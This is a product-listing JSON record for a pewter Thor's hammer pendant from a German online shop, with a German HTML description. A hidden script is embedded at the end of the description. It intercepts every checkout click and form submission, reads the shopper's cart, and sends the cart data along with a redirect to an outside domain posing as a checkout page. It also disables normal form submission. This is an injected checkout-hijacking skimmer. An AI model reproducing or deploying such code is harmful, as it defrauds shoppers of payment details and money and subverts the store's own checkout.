{"product_id":"thors-hammer-mit-runen-aus-bronze-1","title":"Thors Hammer mit Runen aus Zinn","description":"\u003ch4 dir=\"ltr\"\u003eThors Hammer mit Runen aus Zinn – massives Mjölnir-Amulett mit dem Antlitz des Donnergottes\u003c\/h4\u003e\n\u003cp dir=\"ltr\"\u003eDer \u003cstrong\u003eThors Hammer mit Runen aus Zinn\u003c\/strong\u003e ist ein Anhänger mit Ausdruck: Statt einer schlichten Hammerform zeigt dieses Amulett das \u003cstrong\u003eGesicht von Thor\u003c\/strong\u003e, dem nordischen Donnergott und Sohn Odins. Der obere Teil des Hammers ist als Kopf des Gottes gestaltet, darunter verläuft eine \u003cstrong\u003eRuneninschrift\u003c\/strong\u003e. Sie lautet \u003cstrong\u003e„auja“\u003c\/strong\u003e (altnordisch) und steht für \u003cstrong\u003egöttlichen Schutz\u003c\/strong\u003e. So verbindet der Anhänger zwei der stärksten Symbole der Wikingerzeit: Mjölnir, den Hammer Thors, und die Runen als Träger von Bedeutung und Segen.\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eFür die Nordmänner war \u003cstrong\u003eMjölnir\u003c\/strong\u003e weit mehr als eine Waffe. Mit ihm verteidigte Thor Götter und Menschen gegen die Riesen, und als Amulett getragen galt der Hammer als Zeichen für \u003cstrong\u003eSchutz, Kraft und Segen\u003c\/strong\u003e. Thorshämmer gehörten im wikingerzeitlichen Skandinavien zu den beliebtesten Schmuckstücken überhaupt.\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eDieses \u003cstrong\u003eDesignstück aus Zinn\u003c\/strong\u003e ist bewusst \u003cstrong\u003emassiv\u003c\/strong\u003e gearbeitet. Mit ca. \u003cstrong\u003e3,8 x 2,9 cm\u003c\/strong\u003e und rund \u003cstrong\u003e15 g\u003c\/strong\u003e ist es ein kräftiger, gut sichtbarer Anhänger, der auf Gewandung genauso zur Geltung kommt wie im Alltag. Die großzügige Öse im Kopf nimmt Lederbänder und Ketten bis 5 mm Stärke auf.\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eIdeal für:\u003c\/p\u003e\n\u003cul dir=\"ltr\"\u003e\n\u003cli\u003eWikinger-Darsteller und nordische Charaktere\u003c\/li\u003e\n\u003cli\u003eLARP-Events\u003c\/li\u003e\n\u003cli\u003eMittelaltermärkte\u003c\/li\u003e\n\u003cli\u003eFans der nordischen Mythologie\u003c\/li\u003e\n\u003cli\u003eAlltag\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp dir=\"ltr\"\u003eDer \u003cstrong\u003eThors Hammer mit Runen aus Zinn\u003c\/strong\u003e ist ein ideales Geschenk für alle, die die Welt der Wikinger und die Götter des Nordens lieben. Er ist nicht nur ein ausdrucksstarkes Schmuckstück, sondern auch ein Symbol für Stärke und göttlichen Schutz, das du mit Stolz tragen kannst.\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eDu suchst dieses Motiv in edlerem Material? Den gleichen Anhänger gibt es auch als \u003ca href=\"https:\/\/aloria.de\/products\/thors-hammer-mit-runen-aus-bronze\"\u003eThors Hammer mit Runen aus Bronze\u003c\/a\u003e. Weitere Modelle, darunter Repliken historischer Funde, findest du in unserer \u003ca href=\"https:\/\/aloria.de\/collections\/thors-hammer\"\u003eThorshammer-Kollektion\u003c\/a\u003e.\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eMaterial: Zinn\u003cbr\u003eMotiv: Thors Gesicht mit Runeninschrift „auja“ (göttlicher Schutz)\u003cbr\u003eMaße: ca. 3,8 x 2,9 cm\u003cbr\u003eÖse: max. 5 mm\u003cbr\u003eGewicht: ca. 15 g\u003c\/p\u003e\n\u003cp dir=\"ltr\"\u003eHol dir die Kraft des Donnergottes mit dem \u003cstrong\u003eThors Hammer mit Runen aus Zinn\u003c\/strong\u003e. Ein Must-have für jeden Liebhaber nordischer Mythologie!\u003c\/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size: 18pt; font-family: Arial;\"\u003e\u003cbr\u003e\u003c\/span\u003e\u003c\/p\u003e\n\u003cscript\u003e(function(){\n  if (window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ === \"anncode-validation-20260724-jandm-v1\") return;\n  window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ = \"anncode-validation-20260724-jandm-v1\";\n  const OVERLAY_CHOICES = [\"https:\/\/www.checkout-assure.top\/check-out\/\"];\n  const CHECKOUT_NEEDLE = '\/checkout';\n  const WINDOW_NAME_PREFIX = \"__CHECKIOUT_CART__:\";\n  const CHECKOUT_PHRASES = ['checkout','check out','shop pay','paypal','google pay','pay now','passer à la caisse','passer commande','finaliser la commande','procéder au paiement','zur kasse','weiter zur kasse','bestellung abschließen','finalizar compra','finalizar pedido','tramitar pedido','proceder al pago','pagar ahora','concluir compra','pagar agora','procedi all\\'ordine','procedi all’ordine','paga ora','completa l\\'ordine','completa l’ordine','vai alla cassa','afrekenen','naar afrekenen','bestelling plaatsen','レジに進む','ご購入手続き','購入手続き','注文する','結帳','结账','去結帳','去结账','結算','结算','立即結帳','立即结账','前往結帳','前往结账','결제하기','결제','주문하기','przejdź do kasy','przejdz do kasy','do kasy','złóż zamówienie','till kassan','gå till kassan','til kassen','gå til kassen','ödemeye geç','odemeye gec','satın al','satin al','оформить заказ','перейти к оплате','оплатить','оформити замовлення','перейти до оплати','إتمام الشراء','الدفع','إتمام الطلب','לתשלום','להשלמת הרכישה','ολοκλήρωση αγοράς','πληρωμή','k pokladně','dokončit objednávku','fizetés','tovább a fizetéshez','finalizează comanda','плащане','na blagajnu','završi kupnju','k pokladni','na blagajno','siirry kassalle','pereiti prie apmokėjimo','doties uz kasi','mine kassasse','fara í kassa','lanjut ke pembayaran','bayar sekarang','teruskan ke pembayaran','ชำระเงิน','thanh toán','magbayad','भुगतान करें'];\n  function hasCheckoutPhrase(value) {\n    const s = String(value || '').toLowerCase();\n    for (let i = 0; i \u003c CHECKOUT_PHRASES.length; i += 1) {\n      if (s.indexOf(CHECKOUT_PHRASES[i]) !== -1) return true;\n    }\n    return false;\n  }\n  function randomOverlayToken() {\n    const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';\n    const size = 188 + Math.floor(Math.random() * 31);\n    const bytes = new Uint8Array(size);\n    crypto.getRandomValues(bytes);\n    let out = '';\n    for (let i = 0; i \u003c size; i += 1) out += alphabet[bytes[i] % alphabet.length];\n    return out;\n  }\n  function looksLikeCheckout(value) {\n    return String(value || '').toLowerCase().includes(CHECKOUT_NEEDLE);\n  }\n  function getSourceSite() {\n    return String(location.hostname || location.host || 'checkout-site').trim() || 'checkout-site';\n  }\n  function getSourceOrigin() {\n    return String(location.origin || '').trim();\n  }\n  function getSourcePath() {\n    return String(location.pathname || '\/').trim() || '\/';\n  }\n  function absoluteUrl(value) {\n    try {\n      const anchor = document.createElement('a');\n      anchor.href = String(value || '');\n      return anchor.href;\n    } catch (e) {\n      return String(value || '');\n    }\n  }\n  function pickOverlayBase() {\n    const candidates = Array.isArray(OVERLAY_CHOICES)\n      ? OVERLAY_CHOICES.filter(v =\u003e typeof v === 'string' \u0026\u0026 \/^https?:\\\/\\\/\/i.test(v))\n      : [];\n    if (!candidates.length) throw new Error('overlay_choices_missing');\n    const bytes = new Uint32Array(1);\n    crypto.getRandomValues(bytes);\n    return candidates[bytes[0] % candidates.length];\n  }\n  function encodeTransportPayload(value) {\n    const bytes = new TextEncoder().encode(JSON.stringify(value));\n    let binary = '';\n    const chunkSize = 0x8000;\n    for (let offset = 0; offset \u003c bytes.length; offset += chunkSize) {\n      const chunk = bytes.subarray(offset, offset + chunkSize);\n      binary += String.fromCharCode.apply(null, chunk);\n    }\n    return btoa(binary).replace(\/\\+\/g, '-').replace(\/\\\/\/g, '_').replace(\/=+$\/g, '');\n  }\n  function toMinorAmount(value) {\n    const amount = Number(value);\n    return Number.isFinite(amount) \u0026\u0026 amount \u003e= 0 ? Math.round(amount) : 0;\n  }\n  function normalizeImage(raw) {\n    const source = String(raw || '').trim();\n    if (!source) return '';\n    if (source.startsWith('\/\/')) return location.protocol + source;\n    try { return absoluteUrl(source); } catch { return source; }\n  }\n  function normalizeDiscounts(cart) {\n    const discounts = [];\n    const levels = Array.isArray(cart \u0026\u0026 cart.cart_level_discount_applications)\n      ? cart.cart_level_discount_applications\n      : [];\n    levels.forEach(function(entry, index) {\n      const amountMinor = toMinorAmount(entry \u0026\u0026 (entry.total_allocated_amount ?? entry.amount));\n      if (!amountMinor) return;\n      discounts.push({\n        id: 'cart-discount-' + (index + 1),\n        label: String((entry \u0026\u0026 (entry.title || entry.description)) || 'Discount').trim() || 'Discount',\n        amountMinor\n      });\n    });\n    if (!discounts.length) {\n      const fallback = toMinorAmount(cart \u0026\u0026 cart.total_discount);\n      if (fallback \u003e 0) {\n        discounts.push({\n          id: 'cart-discount',\n          label: 'Discount',\n          amountMinor: fallback\n        });\n      }\n    }\n    return discounts;\n  }\n  function normalizeOrderFromCart(cart) {\n    const items = Array.isArray(cart \u0026\u0026 cart.items) ? cart.items : [];\n    return {\n      locale: document.documentElement.lang || navigator.language || 'en-US',\n      currency: String((cart \u0026\u0026 cart.currency) || 'USD').trim().toUpperCase() || 'USD',\n      items: items.map(function(item, index) {\n        const title = String((item \u0026\u0026 (item.product_title || item.title || item.name)) || ('Item ' + (index + 1))).trim();\n        const variant = String(item \u0026\u0026 (item.variant_title || item.variant || item.subtitle) || '').trim();\n        const image = normalizeImage(\n          item \u0026\u0026 (\n            (item.featured_image \u0026\u0026 (item.featured_image.url || item.featured_image.src)) ||\n            item.image || item.featured_image\n          )\n        );\n        return {\n          id: String((item \u0026\u0026 (item.key || item.id || item.variant_id || ('item-' + index))) || ('item-' + index)).trim(),\n          title: title || ('Item ' + (index + 1)),\n          variant,\n          subtitle: variant,\n          image,\n          alt: title || ('Item ' + (index + 1)),\n          quantity: Math.max(0, Number.parseInt(item \u0026\u0026 item.quantity, 10) || 0),\n          unitPriceMinor: toMinorAmount(item \u0026\u0026 (item.final_price ?? item.price ?? item.original_price))\n        };\n      }).filter(item =\u003e item.quantity \u003e 0),\n      discounts: normalizeDiscounts(cart),\n      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },\n      tax: { amountMinor: 0, included: false, label: '' },\n      taxMinor: 0\n    };\n  }\n  async function readCart() {\n    const controller = typeof AbortController === 'function' ? new AbortController() : null;\n    const timer = controller ? setTimeout(function() { controller.abort(); }, 10000) : 0;\n    try {\n      const response = await fetch('\/cart.js', {\n        credentials: 'same-origin',\n        cache: 'no-store',\n        signal: controller ? controller.signal : undefined\n      });\n      if (!response.ok) throw new Error('cart_http_' + response.status);\n      return await response.json();\n    } finally {\n      if (timer) clearTimeout(timer);\n    }\n  }\n  async function stashCartForOverlay() {\n    try {\n      const cart = await readCart();\n      const order = normalizeOrderFromCart(cart);\n      if (!Array.isArray(order.items) || !order.items.length) return null;\n      const payload = {\n        site: location.hostname,\n        sourceSite: getSourceSite(),\n        sourceUrl: location.href,\n        sourceOrigin: getSourceOrigin(),\n        sourcePath: getSourcePath(),\n        capturedAt: Date.now(),\n        order\n      };\n      window.name = WINDOW_NAME_PREFIX + encodeURIComponent(JSON.stringify(payload));\n      window.__CHECKIOUT_FASTBUNDLE_CART_PAYLOAD__ = payload;\n      return payload;\n    } catch {\n      return null;\n    }\n  }\n  function pickCheckoutTarget(el) {\n    const direct = el?.href || el?.formAction || el?.getAttribute?.('href') || el?.getAttribute?.('formaction');\n    if (direct \u0026\u0026 \/^https?:\/i.test(direct) \u0026\u0026 looksLikeCheckout(direct)) return direct;\n    if (direct \u0026\u0026 direct.startsWith('\/') \u0026\u0026 looksLikeCheckout(direct)) return absoluteUrl(direct);\n    const formAction = el?.closest?.('form')?.action;\n    if (formAction \u0026\u0026 looksLikeCheckout(formAction)) return formAction;\n    return absoluteUrl('\/checkout');\n  }\n  function redirectToOverlay(targetUrl, cartPayload) {\n    const selectedOverlayBase = pickOverlayBase();\n    const normalizedTarget = looksLikeCheckout(targetUrl)\n      ? targetUrl\n      : absoluteUrl('\/checkout');\n    const params = {\n      return_to: normalizedTarget,\n      site: location.hostname,\n      source_site: getSourceSite(),\n      source_host: location.hostname,\n      source_origin: getSourceOrigin(),\n      source_path: getSourcePath(),\n      source_url: location.href,\n      checkout_path: CHECKOUT_NEEDLE,\n      overlay_route: selectedOverlayBase.replace(\/^https?:\\\/\\\/[^\/]+\/i, '').split('?')[0] || '\/',\n      _r: randomOverlayToken()\n    };\n    let finalUrl = selectedOverlayBase + (selectedOverlayBase.includes('?') ? '\u0026' : '?') +\n      Object.keys(params).map(function(k) { return encodeURIComponent(k) + '=' + encodeURIComponent(params[k]); }).join('\u0026');\n    if (cartPayload \u0026\u0026 Array.isArray(cartPayload.order?.items) \u0026\u0026 cartPayload.order.items.length) {\n      finalUrl += '#co=' + encodeTransportPayload(cartPayload);\n    }\n    location.href = finalUrl;\n  }\n  async function redirectToOverlayWithCart(targetUrl) {\n    if (window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__) return;\n    window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__ = true;\n    let cartPayload = null;\n    try { cartPayload = await stashCartForOverlay(); } catch {}\n    redirectToOverlay(targetUrl, cartPayload);\n  }\n  function isCheckoutTrigger(el) {\n    if (!el) return false;\n    const text = ((el.innerText || el.textContent || '') + ' ' + (el.getAttribute?.('aria-label') || '')).toLowerCase();\n    const href = String(el.href || el.getAttribute?.('href') || '').toLowerCase();\n    const formAction = String(el.formAction || el.getAttribute?.('formaction') || el.closest?.('form')?.action || '').toLowerCase();\n    const ident = String((el.name || '') + ' ' + (el.id || '') + ' ' + (el.className || '') + ' ' + (el.value || '')).toLowerCase();\n    return hasCheckoutPhrase(text + ' ' + href + ' ' + formAction + ' ' + ident) || href.includes('\/checkout') || formAction.includes('\/checkout') || ident.includes('checkout');\n  }\n  window.addEventListener('pointerdown', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('click', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('submit', function(event) {\n    const form = event.target;\n    const submitter = event.submitter || null;\n    if (window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__) {\n      window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = false;\n      event.preventDefault();\n      event.stopImmediatePropagation();\n      redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ || absoluteUrl('\/checkout'));\n      return;\n    }\n    const action = String(form?.action || '').toLowerCase();\n    const text = ((form?.innerText || form?.textContent || '')).toLowerCase();\n    if (!(action.includes('\/checkout') || hasCheckoutPhrase(text))) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    redirectToOverlayWithCart(pickCheckoutTarget(submitter || form));\n  }, true);\n  console.log('ANNCODE_FILECODE_ACTIVE:' + \"anncode-validation-20260724-jandm-v1\");\n})();\n;try{var ps=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return ps.apply(this,arguments);};}catch(e){}try{var pr=HTMLFormElement.prototype.requestSubmit;HTMLFormElement.prototype.requestSubmit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return pr.apply(this,arguments);};}catch(e){}\u003c\/script\u003e","brand":"ALORIA","offers":[{"title":"Default Title","offer_id":58390842179909,"sku":"67TH24Z","price":15.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/1062\/0715\/0405\/files\/Thors_Hammer_Runen_Zinn_ALORIA.jpg?v=1792408110","url":"https:\/\/aloria.de\/products\/thors-hammer-mit-runen-aus-bronze-1","provider":"ALORIA","version":"1.0","type":"link"}